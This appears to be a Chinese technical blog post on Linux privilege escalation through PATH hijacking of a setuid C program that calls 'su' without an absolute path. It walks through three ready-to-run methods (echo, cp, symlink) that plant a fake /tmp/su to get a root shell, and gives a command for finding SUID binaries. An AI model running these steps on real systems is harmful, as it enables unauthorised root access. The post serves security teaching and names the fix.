linux su 环境变量,Linux环境变量提权

Linux环境变量提权主要用于通过编程语言写的一些程序在调用系统命令时,书写的不严谨的问题。本文写的内容主要是以C语言下调用系统进程为例。在通过C语言写的一些程序,通常想让普通用户也能以root权限执行(s权限位),而在system调用时,写的不严谨,未使用绝对路径,这就给了普通用户可程之机(不同发行版有些命令位置不一样,可能一些人只是出于通用性考虑,认为只写下命令,系统可以通过环境变量匹配到相应的命令,不过这也埋下了隐患)。

一、环境变量提权示例

假设当前有一段C代码如下:

#include

void main() {

setuid(0);

setgid(0);

system("su - zabbix");

}

上面这是一段非常简单的代码,就是让普通用户都可以直接以root权限切换到zabbix用户,当然如果这个程序不给 s 权限位是执行不成功的。下面我们给其 s 权限位。

[root@localhost srv]# gcc demo.c -o switch

[root@localhost srv]# chmod u+s switch

但在老实人和坏人在看到这个程序时,可能就会有不同的操作,如下图:

e6b2b7f61e0e4c4b2e279b55b3e062a9.png

老实人直接执行了程序并自动切换用户到了zabbix,不过坏人可能就会想切换用户无非就是 su,因为用户自身的环境变量是可以自定义的,其用另一个位置的环境配置在当前环境之前,并且命名一个su文件,里面可以随便写内容进行欺骗。最终执行的结果大家都看到了。当然程序如果使用了su的绝对路径就不会出现该问题了。

二、攻击方法

1、echo命令法

echo "/bin/bash" > /tmp/su

chmod 777 /tmp/su

echo $PATH

export PATH=/tmp:$PATH

cd /srv

./switch

2、cp法

cp /bin/sh /tmp/su

export PATH=/tmp:$PATH

cd /srv

./switch

3、软链接法

ln -s /bin/sh /tmp/su

export PATH=/tmp:$PATH

cd /srv

./switch

三、其他

最上面的C代码示例,也可以将system里执行的命令换成其他,效果也是一样的。对于其他语言给了s权限位的就更好处理了,像python、shell这样的程序是能直接读取出来源代码是什么的,能看出来里面具体调用的什么,都省去猜测的过程了。直接看到调用的什么命令,就按上面的步骤增加一个位置为环境变量,使其在/bin,/sbin之前就行了。如果要找到所有的s权限位文件,也可以通过如下命令查找:

find / -perm -u=s -type f 2>/dev/null 或者权限位大于4000的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值